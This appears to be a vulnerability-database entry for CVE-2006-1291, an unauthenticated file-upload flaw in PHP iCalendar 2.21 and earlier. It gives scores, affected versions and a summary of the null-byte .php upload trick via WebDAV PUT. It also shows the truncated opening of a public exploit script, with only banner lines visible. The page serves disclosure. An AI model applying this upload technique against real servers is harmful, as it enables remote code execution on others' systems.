7.5
CVSSv2

CVE-2006-1291

Published: 19/03/2006 Updated: 11/10/2017
CVSS v2 Base Score: 7.5 | Impact Score: 6.4 | Exploitability Score: 10
VMScore: 755
Vector: AV:N/AC:L/Au:N/C:P/I:P/A:P

Vulnerability Summary

publish.ical.php in Jim Hu and Chad Little PHP iCalendar 2.21 and previous versions does not require authentication for write access to the calendars directory, which allows remote malicious users to upload and execute arbitrary PHP scripts via a WebDAV PUT request with a filename containing a .php extension and a trailing null character.

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php icalendar php icalendar 2.0

php icalendar php icalendar 2.0.1

php icalendar php icalendar 2.0a2

php icalendar php icalendar 2.0b

php icalendar php icalendar 2.0c

php icalendar php icalendar 2.1

php icalendar php icalendar

Exploits

#!/usr/bin/php -q -d short_open_tag=on <? echo "php iCalendar <=221 publishicalphp remote cmmnds xctn\r\n"; echo "by rgod rgod<AT>autistici<DOT>org\r\n"; echo "site: retrogodaltervistaorg\r\n"; echo "this works if \"phpicalendar_publishing\" is set to 1 in configincphp\r\n\r\n"; # short explaination: phpICal lets us ...